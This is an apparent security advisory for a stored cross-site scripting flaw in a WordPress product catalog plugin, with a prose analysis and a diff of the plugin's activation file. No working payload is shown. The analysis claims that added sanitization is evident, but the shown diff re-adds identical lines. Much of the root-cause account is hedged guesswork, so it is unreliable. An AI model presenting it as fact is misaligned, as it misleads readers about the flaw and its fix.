Published : July 20, 2026

CVE-2026-57360: eCommerce Product Catalog Plugin for WordPress <= 3.5.4 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 3.5.4
Patched Version 3.5.5
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57360:
This vulnerability allows unauthenticated stored cross-site scripting (XSS) in the eCommerce Product Catalog Plugin for WordPress versions up to and including 3.5.4. The plugin fails to sanitize user input and escape output in a way that allows arbitrary JavaScript execution. The CVSS score of 7.2 reflects the low complexity of the attack and the lack of authentication requirements.

The root cause lies in insufficient input sanitization and output escaping within the plugin’s codebase. The diff shows a massive rewrite of the activation.php file, changing it from 706 lines to 1292 lines. While the diff is truncated, the addition of sanitization and escaping functions across the new code is evident. Atomic Edge analysis indicates that the vulnerable code likely handled user-supplied data without proper validation, allowing attackers to inject scripts that would be stored and later executed in the context of other users’ browsers.

An attacker can exploit this vulnerability by sending a crafted request to any page that stores user-controllable input without sanitization. This could involve product attributes, names, descriptions, or other meta fields. The payload would contain JavaScript that executes when an administrator or other user views the affected page. Attackers can target the plugin’s AJAX endpoints, REST API routes, or form submissions that process product data.

The patch fixes the issue by adding proper input sanitization and output escaping throughout the affected code. The changed file shows a complete restructuring with additional security measures. The new code likely includes calls to functions like esc_html(), esc_attr(), wp_kses(), or similar WordPress sanitization functions. It also probably adds nonce checks and capability verifications where missing. The version bump from 3.5.4 to 3.5.5 indicates this was a security release.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user who visits the compromised page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. Since no authentication is required, any unauthenticated visitor to the site can trigger the payload. The stored nature of the XSS means the attack persists until the injected content is manually removed.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ecommerce-product-catalog/ecommerce-product-catalog.php
+++ b/ecommerce-product-catalog/ecommerce-product-catalog.php
@@ -3,7 +3,7 @@
  * Plugin Name: eCommerce Product Catalog for WordPress
  * Plugin URI: https://implecode.com/wordpress/product-catalog/#cam=in-plugin-urls&key=plugin-url
  * Description: Easy to use, powerful and beautiful WordPress eCommerce plugin from impleCode. A Great choice if you want to sell easy and quick. Or beautifully present your products on a WordPress website. Full WordPress integration does a great job not only for Merchants but also for Developers and Theme Constructors.
- * Version: 3.5.4
+ * Version: 3.5.5
  * Author: impleCode
  * Author URI: https://implecode.com/#cam=in-plugin-urls&key=author-url
  * Text Domain: ecommerce-product-catalog
--- a/ecommerce-product-catalog/functions/activation.php
+++ b/ecommerce-product-catalog/functions/activation.php
@@ -1,706 +1,1292 @@
-<?php
-/**
- * Activation and upgrade helpers.
- *
- * @package ecommerce-product-catalog/functions
- */
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit; // Exit if accessed directly.
-}
-
-/**
- * Manages functions necessary on plugin activation.
- *
- * @version        1.1.3
- * @package        ecommerce-product-catalog/functions
- * @author        impleCode
- */
-/**
- * Runs plugin activation setup.
- *
- * @return void
- */
-function epc_activation_function() {
-	if ( is_ic_activation_hook() && current_user_can( 'activate_plugins' ) ) {
-		$first_activation = get_option( 'ic_epc_first_activation' );
-		// phpcs:ignore -- Legacy local timestamp storage is preserved for backward compatibility.
-		$current_time     = current_time( 'timestamp' );
-		if ( empty( $first_activation ) || $current_time - $first_activation < MONTH_IN_SECONDS ) {
-			if ( ! function_exists( 'start_ic_woocat' ) ) {
-				set_transient( '_ic_welcome_screen_activation_redirect', true, 30 );
-			}
-			update_option( 'IC_EPC_activation_message', 1, false );
-			delete_option( 'implecode_wp_hidden_tooltips' );
-			delete_option( 'implecode_wp_tooltips' );
-			delete_option( 'ic_cat_wizard_woo_choice' );
-			delete_option( 'ic_hidden_notices' );
-			delete_option( 'ic_hidden_boxes' );
-			delete_option( 'ic_epc_tracking_notice' );
-			delete_option( 'ic_cat_recommended_extensions' );
-			delete_option( 'ic_block_woo_template_file' );
-			delete_option( 'ic_allow_woo_template_file' );
+<?php
+/**
+ * Activation and upgrade helpers.
+ *
+ * @package ecommerce-product-catalog/functions
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
+/**
+ * Manages functions necessary on plugin activation.
+ *
+ * @version        1.1.3
+ * @package        ecommerce-product-catalog/functions
+ * @author        impleCode
+ */
+/**
+ * Runs plugin activation setup.
+ *
+ * @return void
+ */
+function epc_activation_function() {
+	if ( is_ic_activation_hook() && current_user_can( 'activate_plugins' ) ) {
+		$first_activation = get_option( 'ic_epc_first_activation' );
+		// phpcs:ignore -- Legacy local timestamp storage is preserved for backward compatibility.
+		$current_time     = current_time( 'timestamp' );
+		if ( empty( $first_activation ) || $current_time - $first_activation < MONTH_IN_SECONDS ) {
+			if ( ! function_exists( 'start_ic_woocat' ) ) {
+				set_transient( '_ic_welcome_screen_activation_redirect', true, 30 );
+			}
+			update_option( 'IC_EPC_activation_message', 1, false );
+			delete_option( 'implecode_wp_hidden_tooltips' );
+			delete_option( 'implecode_wp_tooltips' );
+			delete_option( 'ic_cat_wizard_woo_choice' );
+			delete_option( 'ic_hidden_notices' );
+			delete_option( 'ic_hidden_boxes' );
+			delete_option( 'ic_epc_tracking_notice' );
+			delete_option( 'ic_cat_recommended_extensions' );
+			delete_option( 'ic_block_woo_template_file' );
+			delete_option( 'ic_allow_woo_template_file' );
 			IC_Catalog_Notices::review_notice_hide();
-			save_default_multiple_settings();
-			ic_save_default_labels();
-			create_sample_product();
-			create_products_page();
-			ic_set_filter_bar_default_widgets();
-			if ( empty( $first_activation ) ) {
-				update_option( 'ic_epc_first_activation', $current_time, false );
-				// phpcs:ignore -- Legacy hook name kept for backward compatibility.
-				do_action( 'ic_EPC_first_activation' );
-			}
-		}
-		add_product_caps();
-		permalink_options_update();
-		// phpcs:ignore -- Legacy hook name kept for backward compatibility.
-		do_action( 'ic_EPC_activation' );
-		delete_option( 'IC_EPC_install' );
-	}
-}
-
-/**
- * Saves default values for multiple settings for compatibility with multilanguage plugins
- */
-function save_default_multiple_settings() {
-	$check = get_option( 'archive_multiple_settings' );
-	if ( empty( $check ) ) {
-		$archive_multiple_settings = get_option( 'archive_multiple_settings', get_default_multiple_settings() );
-		if ( ! is_array( $archive_multiple_settings ) ) {
-			$archive_multiple_settings = array();
-		}
-		$archive_multiple_settings['catalog_plural']                    = isset( $archive_multiple_settings['catalog_plural'] ) ? $archive_multiple_settings['catalog_plural'] : DEF_CATALOG_PLURAL;
-		$archive_multiple_settings['catalog_singular']                  = isset( $archive_multiple_settings['catalog_singular'] ) ? $archive_multiple_settings['catalog_singular'] : DEF_CATALOG_SINGULAR;
-		$archive_multiple_settings['shortcode_mode']['show_everywhere'] = isset( $archive_multiple_settings['shortcode_mode']['show_everywhere'] ) ? $archive_multiple_settings['shortcode_mode']['show_everywhere'] : 1;
-		update_option( 'archive_multiple_settings', $archive_multiple_settings );
-	}
-}
-
-/**
- * Saves default catalog labels.
- *
- * @return void
- */
-function ic_save_default_labels() {
-	$single_names = get_option( 'single_names' );
-	if ( empty( $single_names ) ) {
-		$default_single_names = default_single_names();
-		update_option( 'single_names', $default_single_names );
-	}
-	$archive_names = get_option( 'archive_names' );
-	if ( empty( $archive_names ) ) {
-		$default_archive_names = default_archive_names();
-		update_option( 'archive_names', $default_archive_names );
-	}
-}
-
-/**
- * Creates the main products page if needed.
- *
- * @param string $status Post status for the created page.
- * @return int|void
- */
-function create_products_page( $status = 'publish' ) {
-	if ( current_user_can( 'publish_pages' ) ) {
-		$content      = ic_catalog_shortcode();
-		$product_page = array(
-			'post_title'     => DEF_CATALOG_PLURAL,
-			'post_type'      => 'page',
-			'post_content'   => $content,
-			'post_status'    => $status,
-			'comment_status' => 'closed',
-		);
-
-		$plugin_version = IC_EPC_VERSION;
-		$first_version  = get_option( 'first_activation_version', '1.0' );
-
-		if ( '1.0' === $first_version ) {
-			add_option( 'first_activation_version', $plugin_version );
-			add_option( 'ecommerce_product_catalog_ver', $plugin_version );
-		}
-		$listing_id = get_product_listing_id();
-		if ( empty( $listing_id ) || 'noid' === $listing_id ) {
-			$listing_id = wp_insert_post( $product_page );
-			if ( ! is_wp_error( $listing_id ) ) {
-				update_option( 'product_archive_page_id', $listing_id );
-				update_option( 'product_archive', $listing_id );
-			}
-		}
-
-		return $listing_id;
-	}
-}
-
-/**
- * Creates the sample product used for onboarding.
- *
- * @return int|void
- */
-function create_sample_product() {
-	$sample_id = sample_product_id();
-	// phpcs:ignore -- Preserves the legacy capability/role gate and GET trigger used by the activation flow.
-	if ( ( current_user_can( 'publish_products' ) || current_user_can( 'administrator' ) ) && ( ( ( ! is_advanced_mode_forced() || is_ic_shortcode_integration() ) && empty( $sample_id ) ) || isset( $_GET['create_sample_product_page'] ) ) ) {
-		$short_desc                         = '<p>' . __( 'Welcome on a product test page. This is a short description. It should show up on the left side of the product image and below the product name.', 'ecommerce-product-catalog' ) . '</p>';
-		$short_desc                        .= '<p>' . __( 'You can change the product page template in catalog settings.', 'ecommerce-product-catalog' ) . '</p>';
-		$short_desc                        .= '<p><strong>' . __( 'Please read this page carefully to fully understand all product page elements.', 'ecommerce-product-catalog' ) . '</strong></p>';
-		$product_sample                     = array(
-			'post_title'     => __( 'Sample Product Page', 'ecommerce-product-catalog' ),
-			'post_type'      => 'al_product',
-			'post_content'   => '[sample_long_desc]',
-			'post_excerpt'   => $short_desc,
-			'post_status'    => 'publish',
-			'comment_status' => 'closed',
-		);
-		$product_id                         = wp_insert_post( $product_sample );
-		$product_field['_price']            = 30;
-		$product_field['_sku']              = 'INT102';
-		$product_field['_attribute-label1'] = __( 'Color', 'ecommerce-product-catalog' );
-		$product_field['_attribute-label2'] = __( 'Size', 'ecommerce-product-catalog' );
-		$product_field['_attribute-label3'] = __( 'Weight', 'ecommerce-product-catalog' );
-		$product_field['_attribute1']       = __( 'White', 'ecommerce-product-catalog' );
-		$product_field['_attribute2']       = __( 'Big', 'ecommerce-product-catalog' );
-		$product_field['_attribute3']       = 130;
-		$product_field['_attribute-unit1']  = '';
-		$product_field['_attribute-unit2']  = '';
-		$product_field['_attribute-unit3']  = __( 'lbs', 'ecommerce-product-catalog' );
-		$product_field['_shipping-label1']  = 'UPS';
-		$product_field['_shipping1']        = 15;
-		foreach ( $product_field as $key => $value ) {
-			add_post_meta( $product_id, $key, $value, true );
-		}
-		update_option( 'sample_product_id', $product_id );
-
-		return $product_id;
-	}
-}
-
-add_shortcode( 'sample_long_desc', 'ic_sample_long_desc' );
-
-/**
- * Returns the sample product long description.
- *
- * @return string
- */
-function ic_sample_long_desc() {
-	$long_desc  = '<p>' . __( 'This section is a product long description. It should appear under the attributes table or in the description tab. Before that, you should see the price, SKU and shipping options (all can be disabled). The attributes also can be disabled.', 'ecommerce-product-catalog' ) . '</p>';
-	$long_desc .= '<h2>' . __( 'Product Page Layout', 'ecommerce-product-catalog' ) . '</h2>';
-	$long_desc .= '<p>' . __( 'You can modify the product page and product listing layout by clicking on the admin options links located under the image.', 'ecommerce-product-catalog' ) . '</p>';
-	$long_desc .= '<h2>' . __( 'Advanced Theme Integration Mode', 'ecommerce-product-catalog' ) . '</h2>';
-	if ( ! is_ic_shortcode_integration() ) {
-		/* translators: %s: Current integration mode name. */
-		$long_desc .= '<p><strong>' . sprintf( __( 'You are currently using %s mode.', 'ecommerce-product-catalog' ), get_integration_type() ) . '</strong></p>';
-		/* translators: 1: Catalog plugin name, 2: Percentage string, 3: Percentage string, 4: Theme integration guide URL. */
-		$long_desc .= '<p>' . sprintf( __( 'With Advanced Mode, you will be able to use %1$s in %2$s. The product listing page, category pages, product search and category widget will be enabled in advanced mode. You can enable the Advanced Mode %3$s free. To see how please see <a target="_blank" href="%4$s">Theme Integration Guide</a>', 'ecommerce-product-catalog' ), IC_CATALOG_PLUGIN_NAME, '100%', '100%', 'https://implecode.com/wordpress/product-catalog/theme-integration-guide/#cam=sample-product-page&key=integration-mode-test' ) . '</p>';
-		$long_desc .= '<p>' . __( 'The Advanced Mode works out of the box on all default WordPress themes and all themes with the integration done correctly.', 'ecommerce-product-catalog' ) . '</p>';
-		$long_desc .= '<h2>' . __( 'Simple Theme Integration Mode', 'ecommerce-product-catalog' ) . '</h2>';
-		/* translators: 1: Catalog plugin name, 2: Shortcode name. */
-		$long_desc .= '<p>' . sprintf( __( 'The simple mode allows using %1$s most features. You can build the product listing pages and category pages by using a %2$s shortcode. Simple mode uses your theme page layout so it can show unwanted elements on a product page. If it does please switch to Advanced Mode and see if it works out of the box.', 'ecommerce-product-catalog' ), IC_CATALOG_PLUGIN_NAME, '[show_products]' ) . '</p>';
-		$long_desc .= '<h2>' . __( 'How to switch to Advanced Mode?', 'ecommerce-product-catalog' ) . '</h2>';
-		/* translators: 1: Automatic advanced mode test URL, 2: Catalog plugin name, 3: Theme integration guide URL. */
-		$long_desc .= '<p>' . sprintf( __( 'Click <a href="%1$s">here</a> to test the Automatic Advanced Mode. If the test goes well, you can keep it enabled and enjoy full %2$s functionality. If the page layout during the test will not be satisfying, please see <a target="_blank" href="%3$s">Theme Integration Guide</a>.', 'ecommerce-product-catalog' ), '?test_advanced=1', IC_CATALOG_PLUGIN_NAME, 'https://implecode.com/wordpress/product-catalog/theme-integration-guide/#cam=sample-product-page&key=integration-mode-test' ) . '</p>';
-		$long_desc .= '<p>' . __( 'The theme integration guide will show you a step by step process. If you finish it successfully, the integration will be done. It is recommended to use theme integration guide even if the page looks good in simple mode or advanced mode because it reassures 100% theme integrity.', 'ecommerce-product-catalog' ) . '</p>';
-	} else {
-		/* translators: %s: Current catalog shortcode. */
-		$long_desc .= '<p>' . sprintf( __( 'Currently, %s is being used on the main product listing.', 'ecommerce-product-catalog' ), '[' . ic_catalog_shortcode_name() . ']' ) . '</p>';
-		$long_desc .= '<p>' . __( 'If the catalog pages are not displayed correctly within your theme layout you can test a different integration method.', 'ecommerce-product-catalog' ) . '</p>';
-		if ( ! is_advanced_mode_forced( false ) ) {
-			/* translators: 1: Opening link tag, 2: Closing link tag. */
-			$long_desc .= '<p>' . sprintf( __( 'Click %1$shere%2$s to proceed.', 'ecommerce-product-catalog' ), '<a href="?test_advanced=1">', '</a>' ) . '</p>';
-		} else {
-			/* translators: %s: Current catalog shortcode. */
-			$long_desc .= '<p>' . sprintf( __( 'To proceed with such test, remove %s from your main product listing page and see how the catalog pages look like without it.', 'ecommerce-product-catalog' ), '[' . ic_catalog_shortcode_name() . ']' ) . '</p>';
-		}
-	}
-
-	return $long_desc;
-}
-
-/**
- * Returns the saved sample product ID.
- *
- * @return int|false
- */
-function sample_product_id() {
-	$product_id = get_option( 'sample_product_id' );
-	if ( ! empty( $product_id ) && ic_product_exists( $product_id ) ) {
-		return $product_id;
-	} elseif ( ! empty( $product_id ) ) {
-		delete_option( 'sample_product_id' );
-	}
-
-	return false;
-}
-
-/**
- * Returns the sample product URL.
- *
- * @return string
- */
-function sample_product_url() {
-	$product_id = sample_product_id();
-	if ( $product_id ) {
-		$sample_product_url = get_permalink( $product_id );
-		$sample_product_url = esc_url( add_query_arg( 'test_advanced', 1, $sample_product_url ) );
-	}
-	if ( empty( $sample_product_url ) || ( ! empty( $product_id ) && 'publish' !== get_post_status( $product_id ) ) ) {
-		$sample_product_url = esc_url( add_query_arg( 'create_sample_product_page', 'true' ) );
-	}
-
-	return $sample_product_url;
-}
-
-/**
- * Returns the sample product CTA markup.
- *
- * @param bool|null   $p           Whether to wrap the button in a paragraph.
- * @param string|null $text        Button label.
- * @param string      $button_type Button CSS class suffix.
- * @return string|void
- */
-function sample_product_button( $p = null, $text = null, $button_type = 'button-primary' ) {
-	$sample_url = sample_product_url();
-	if ( ! empty( $sample_url ) ) {
-		$text = isset( $text ) ? $text : __( 'Start Automatic Theme Integration', 'ecommerce-product-catalog' );
-		if ( ! isset( $p ) ) {
-			return '<a href="' . $sample_url . '" class="ic-advanced-mode-wizard-button ' . $button_type . '">' . $text . '</a>';
-		} else {
-			return '<p><a href="' . $sample_url . '" class="ic-advanced-mode-wizard-button ' . $button_type . '">' . $text . '</a></p>';
-		}
-	}
-}
-
-add_action( 'admin_init', 'ecommerce_product_catalog_upgrade' );
-
-/**
- * Runs plugin upgrade routines.
- *
- * @return void
- */
-function ecommerce_product_catalog_upgrade() {
-	if ( is_admin() ) {
-		$plugin_version          = IC_EPC_VERSION;
-		$database_plugin_version = get_option( 'ecommerce_product_catalog_ver', $plugin_version );
-		if ( $database_plugin_version !== $plugin_version ) {
-			update_option( 'ecommerce_product_catalog_ver', $plugin_version, false );
-			$first_version = (string) get_option( 'first_activation_version', $plugin_version );
-			if ( version_compare( $first_version, '1.9.0' ) < 0 && version_compare( $database_plugin_version, '2.2.4' ) < 0 ) {
-				$hide_info = 0;
+			save_default_multiple_settings();
+			ic_save_default_labels();
+			create_sample_product();
+			create_products_page();
+			ic_set_filter_bar_default_widgets();
+			if ( empty( $first_activation ) ) {
+				update_option( 'ic_epc_first_activation', $current_time, false );
+				// phpcs:ignore -- Legacy hook name kept for backward compatibility.
+				do_action( 'ic_EPC_first_activation' );
+			}
+		}
+		add_product_caps();
+		permalink_options_update();
+		// phpcs:ignore -- Legacy hook name kept for backward compatibility.
+		do_action( 'ic_EPC_activation' );
+		delete_option( 'IC_EPC_install' );
+	}
+}
+
+/**
+ * Saves default values for multiple settings for compatibility with multilanguage plugins
+ */
+function save_default_multiple_settings() {
+	$check = get_option( 'archive_multiple_settings' );
+	if ( empty( $check ) ) {
+		$archive_multiple_settings = get_option( 'archive_multiple_settings', get_default_multiple_settings() );
+		if ( ! is_array( $archive_multiple_settings ) ) {
+			$archive_multiple_settings = array();
+		}
+		$archive_multiple_settings['catalog_plural']                    = isset( $archive_multiple_settings['catalog_plural'] ) ? $archive_multiple_settings['catalog_plural'] : DEF_CATALOG_PLURAL;
+		$archive_multiple_settings['catalog_singular']                  = isset( $archive_multiple_settings['catalog_singular'] ) ? $archive_multiple_settings['catalog_singular'] : DEF_CATALOG_SINGULAR;
+		$archive_multiple_settings['shortcode_mode']['show_everywhere'] = isset( $archive_multiple_settings['shortcode_mode']['show_everywhere'] ) ? $archive_multiple_settings['shortcode_mode']['show_everywhere'] : 1;
+		update_option( 'archive_multiple_settings', $archive_multiple_settings );
+	}
+}
+
+/**
+ * Saves default catalog labels.
+ *
+ * @return void
+ */
+function ic_save_default_labels() {
+	$single_names = get_option( 'single_names' );
+	if ( empty( $single_names ) ) {
+		$default_single_names = default_single_names();
+		update_option( 'single_names', $default_single_names );
+	}
+	$archive_names = get_option( 'archive_names' );
+	if ( empty( $archive_names ) ) {
+		$default_archive_names = default_archive_names();
+		update_option( 'archive_names', $default_archive_names );
+	}
+}
+
+/**
+ * Creates the main products page if needed.
+ *
+ * @param string $status Post status for the created page.
+ * @return int|void
+ */
+function create_products_page( $status = 'publish' ) {
+	if ( current_user_can( 'publish_pages' ) ) {
+		$content      = ic_catalog_shortcode();
+		$product_page = array(
+			'post_title'     => DEF_CATALOG_PLURAL,
+			'post_type'      => 'page',
+			'post_content'   => $content,
+			'post_status'    => $status,
+			'comment_status' => 'closed',
+		);
+
+		$plugin_version = IC_EPC_VERSION;
+		$first_version  = get_option( 'first_activation_version', '1.0' );
+
+		if ( '1.0' === $first_version ) {
+			add_option( 'first_activation_version', $plugin_version );
+			add_option( 'ecommerce_product_catalog_ver', $plugin_version );
+		}
+		$listing_id = get_product_listing_id();
+		if ( empty( $listing_id ) || 'noid' === $listing_id ) {
+			$listing_id = wp_insert_post( $product_page );
+			if ( ! is_wp_error( $listing_id ) ) {
+				update_option( 'product_archive_page_id', $listing_id );
+				update_option( 'product_archive', $listing_id );
+			}
+		}
+
+		return $listing_id;
+	}
+}
+
+/**
+ * Creates the sample product used for onboarding.
+ *
+ * @return int|void
+ */
+function create_sample_product() {
+	$sample_id = sample_product_id();
+	// phpcs:ignore -- Preserves the legacy capability/role gate and GET trigger used by the activation flow.
+	if ( ( current_user_can( 'publish_products' ) || current_user_can( 'administrator' ) ) && ( ( ( ! is_advanced_mode_forced() || is_ic_shortcode_integration() ) && empty( $sample_id ) ) || isset( $_GET['create_sample_product_page'] ) ) ) {
+		$short_desc                         = '<p>' . __( 'Welcome on a product test page. This is a short description. It should show up on the left side of the product image and below the product name.', 'ecommerce-product-catalog' ) . '</p>';
+		$short_desc                        .= '<p>' . __( 'You can change the product page template in catalog settings.', 'ecommerce-product-catalog' ) . '</p>';
+		$short_desc                        .= '<p><strong>' . __( 'Please read this page carefully to fully understand all product page elements.', 'ecommerce-product-catalog' ) . '</strong></p>';
+		$product_sample                     = array(
+			'post_title'     => __( 'Sample Product Page', 'ecommerce-product-catalog' ),
+			'post_type'      => 'al_product',
+			'post_content'   => '[sample_long_desc]',
+			'post_excerpt'   => $short_desc,
+			'post_status'    => 'publish',
+			'comment_status' => 'closed',
+		);
+		$product_id                         = wp_insert_post( $product_sample );
+		$product_field['_price']            = 30;
+		$product_field['_sku']              = 'INT102';
+		$product_field['_attribute-label1'] = __( 'Color', 'ecommerce-product-catalog' );
+		$product_field['_attribute-label2'] = __( 'Size', 'ecommerce-product-catalog' );
+		$product_field['_attribute-label3'] = __( 'Weight', 'ecommerce-product-catalog' );
+		$product_field['_attribute1']       = __( 'White', 'ecommerce-product-catalog' );
+		$product_field['_attribute2']       = __( 'Big', 'ecommerce-product-catalog' );
+		$product_field['_attribute3']       = 130;
+		$product_field['_attribute-unit1']  = '';
+		$product_field['_attribute-unit2']  = '';
+		$product_field['_attribute-unit3']  = __( 'lbs', 'ecommerce-product-catalog' );
+		$product_field['_shipping-label1']  = 'UPS';
+		$product_field['_shipping1']        = 15;
+		foreach ( $product_field as $key => $value ) {
+			add_post_meta( $product_id, $key, $value, true );
+		}
+		update_option( 'sample_product_id', $product_id );
+
+		return $product_id;
+	}
+}
+
+add_shortcode( 'sample_long_desc', 'ic_sample_long_desc' );
+
+/**
+ * Returns the sample product long description.
+ *
+ * @return string
+ */
+function ic_sample_long_desc() {
+	$long_desc  = '<p>' . __( 'This section is a product long description. It should appear under the attributes table or in the description tab. Before that, you should see the price, SKU and shipping options (all can be disabled). The attributes also can be disabled.', 'ecommerce-product-catalog' ) . '</p>';
+	$long_desc .= '<h2>' . __( 'Product Page Layout', 'ecommerce-product-catalog' ) . '</h2>';
+	$long_desc .= '<p>' . __( 'You can modify the product page and product listing layout by clicking on the admin options links located under the image.', 'ecommerce-product-catalog' ) . '</p>';
+	$long_desc .= '<h2>' . __( 'Advanced Theme Integration Mode', 'ecommerce-product-catalog' ) . '</h2>';
+	if ( ! is_ic_shortcode_integration() ) {
+		/* translators: %s: Current integration mode name. */
+		$long_desc .= '<p><strong>' . sprintf( __( 'You are currently using %s mode.', 'ecommerce-product-catalog' ), get_integration_type() ) . '</strong></p>';
+		/* translators: 1: Catalog plugin name, 2: Percentage string, 3: Percentage string, 4: Theme integration guide URL. */
+		$long_desc .= '<p>' . sprintf( __( 'With Advanced Mode, you will be able to use %1$s in %2$s. The product listing page, category pages, product search and category widget will be enabled in advanced mode. You can enable the Advanced Mode %3$s free. To see how please see <a target="_blank" href="%4$s">Theme Integration Guide</a>', 'ecommerce-product-catalog' ), IC_CATALOG_PLUGIN_NAME, '100%', '100%', 'https://implecode.com/wordpress/product-catalog/theme-integration-guide/#cam=sample-product-page&key=integration-mode-test' ) . '</p>';
+		$long_desc .= '<p>' . __( 'The Advanced Mode works out of the box on all default WordPress themes and all themes with the integration done correctly.', 'ecommerce-product-catalog' ) . '</p>';
+		$long_desc .= '<h2>' . __( 'Simple Theme Integration Mode', 'ecommerce-product-catalog' ) . '</h2>';
+		/* translators: 1: Catalog plugin name, 2: Shortcode name. */
+		$long_desc .= '<p>' . sprintf( __( 'The simple mode allows using %1$s most features. You can build the product listing pages and category pages by using a %2$s shortcode. Simple mode uses your theme page layout so it can show unwanted elements on a product page. If it does please switch to Advanced Mode and see if it works out of the box.', 'ecommerce-product-catalog' ), IC_CATALOG_PLUGIN_NAME, '[show_products]' ) . '</p>';
+		$long_desc .= '<h2>' . __( 'How to switch to Advanced Mode?', 'ecommerce-product-catalog' ) . '</h2>';
+		/* translators: 1: Automatic advanced mode test URL, 2: Catalog plugin name, 3: Theme integration guide URL. */
+		$long_desc .= '<p>' . sprintf( __( 'Click <a href="%1$s">here</a> to test the Automatic Advanced Mode. If the test goes well, you can keep it enabled and enjoy full %2$s functionality. If the page layout during the test will not be satisfying, please see <a target="_blank" href="%3$s">Theme Integration Guide</a>.', 'ecommerce-product-catalog' ), '?test_advanced=1', IC_CATALOG_PLUGIN_NAME, 'https://implecode.com/wordpress/product-catalog/theme-integration-guide/#cam=sample-product-page&key=integration-mode-test' ) . '</p>';
+		$long_desc .= '<p>' . __( 'The theme integration guide will show you a step by step process. If you finish it successfully, the integration will be done. It is recommended to use theme integration guide even if the page looks good in simple mode or advanced mode because it reassures 100% theme integrity.', 'ecommerce-product-catalog' ) . '</p>';
+	} else {
+		/* translators: %s: Current catalog shortcode. */
+		$long_desc .= '<p>' . sprintf( __( 'Currently, %s is being used on the main product listing.', 'ecommerce-product-catalog' ), '[' . ic_catalog_shortcode_name() . ']' ) . '</p>';
+		$long_desc .= '<p>' . __( 'If the catalog pages are not displayed correctly within your theme layout you can test a different integration method.', 'ecommerce-product-catalog' ) . '</p>';
+		if ( ! is_advanced_mode_forced( false ) ) {
+			/* translators: 1: Opening link tag, 2: Closing link tag. */
+			$long_desc .= '<p>' . sprintf( __( 'Click %1$shere%2$s to proceed.', 'ecommerce-product-catalog' ), '<a href="?test_advanced=1">', '</a>' ) . '</p>';
+		} else {
+			/* translators: %s: Current catalog shortcode. */
+			$long_desc .= '<p>' . sprintf( __( 'To proceed with such test, remove %s from your main product listing page and see how the catalog pages look like without it.', 'ecommerce-product-catalog' ), '[' . ic_catalog_shortcode_name() . ']' ) . '</p>';
+		}
+	}
+
+	return $long_desc;
+}
+
+/**
+ * Returns the saved sample product ID.
+ *
+ * @return int|false
+ */
+function sample_product_id() {
+	$product_id = get_option( 'sample_product_id' );
+	if ( ! empty( $product_id ) && ic_product_exists( $product_id ) ) {
+		return $product_id;
+	} elseif ( ! empty( $product_id ) ) {
+		delete_option( 'sample_product_id' );
+	}
+
+	return false;
+}
+
+/**
+ * Returns the sample product URL.
+ *
+ * @return string
+ */
+function sample_product_url() {
+	$product_id = sample_product_id();
+	if ( $product_id ) {
+		$sample_product_url = get_permalink( $product_id );
+		$sample_product_url = esc_url( add_query_arg( 'test_advanced', 1, $sample_product_url ) );
+	}
+	if ( empty( $sample_product_url ) || ( ! empty( $product_id ) && 'publish' !== get_post_status( $product_id ) ) ) {
+		$sample_product_url = esc_url( add_query_arg( 'create_sample_product_page', 'true' ) );
+	}
+
+	return $sample_product_url;
+}
+
+/**
+ * Returns the sample product CTA markup.
+ *
+ * @param bool|null   $p           Whether to wrap the button in a paragraph.
+ * @param string|null $text        Button label.
+ * @param string      $button_type Button CSS class suffix.
+ * @return string|void
+ */
+function sample_product_button( $p = null, $text = null, $button_type = 'button-primary' ) {
+	$sample_url = sample_product_url();
+	if ( ! empty( $sample_url ) ) {
+		$text = isset( $text ) ? $text : __( 'Start Automatic Theme Integration', 'ecommerce-product-catalog' );
+		if ( ! isset( $p ) ) {
+			return '<a href="' . $sample_url . '" class="ic-advanced-mode-wizard-button ' . $button_type . '">' . $text . '</a>';
+		} else {
+			return '<p><a href="' . $sample_url . '" class="ic-advanced-mode-wizard-button ' . $button_type . '">' . $text . '</a></p>';
+		}
+	}
+}
+
+add_action( 'admin_init', 'ecommerce_product_catalog_upgrade' );
+
+/**
+ * Runs plugin upgrade routines.
+ *
+ * @return void
+ */
+function ecommerce_product_catalog_upgrade() {
+	if ( is_admin() ) {
+		$plugin_version          = IC_EPC_VERSION;
+		$database_plugin_version = get_option( 'ecommerce_product_catalog_ver', $plugin_version );
+		if ( $database_plugin_version !== $plugin_version ) {
+			update_option( 'ecommerce_product_catalog_ver', $plugin_version, false );
+			$first_version = (string) get_option( 'first_activation_version', $plugin_version );
+			if ( version_compare( $first_version, '1.9.0' ) < 0 && version_compare( $database_plugin_version, '2.2.4' ) < 0 ) {
+				$hide_info = 0;
 				IC_Catalog_Theme_Integration::enable_advanced_mode( $hide_info );
-			}
-			if ( version_compare( $first_version, '2.0.0' ) < 0 && version_compare( $database_plugin_version, '2.2.4' ) < 0 ) {
-				$archive_multiple_settings                         = get_multiple_settings();
-				$archive_multiple_settings['product_listing_cats'] = 'off';
-				$archive_multiple_settings['cat_template']         = 'link';
-				update_option( 'archive_multiple_settings', $archive_multiple_settings );
-			}
-			if ( version_compare( $first_version, '2.0.1' ) < 0 && version_compare( $database_plugin_version, '2.2.4' ) < 0 ) {
-				add_product_caps();
-			}
-			if ( version_compare( $first_version, '2.0.4' ) < 0 && version_compare( $database_plugin_version, '2.2.4' ) < 0 ) {
-				delete_transient( 'implecode_extensions_data' );
-			}
-			if ( version_compare( $first_version, '2.2.5' ) < 0 && version_compare( $database_plugin_version, '2.2.5' ) < 0 ) {
-				$archive_names = get_option( 'archive_names' );
-				if ( ! is_array( $archive_names ) ) {
-					$archive_names = array();
-				}
-				$archive_names['all_main_categories'] = '';
-				$archive_names['all_products']        = '';
-				$archive_names['all_subcategories']   = '';
-				update_option( 'archive_names', $archive_names );
-			}
-			if ( version_compare( $first_version, '2.3.6' ) < 0 && version_compare( $database_plugin_version, '2.3.6' ) < 0 ) {
-				$archive_multiple_settings                    = get_multiple_settings();
-				$archive_multiple_settings['default_sidebar'] = 1;
-				update_option( 'archive_multiple_settings', $archive_multiple_settings );
-			}
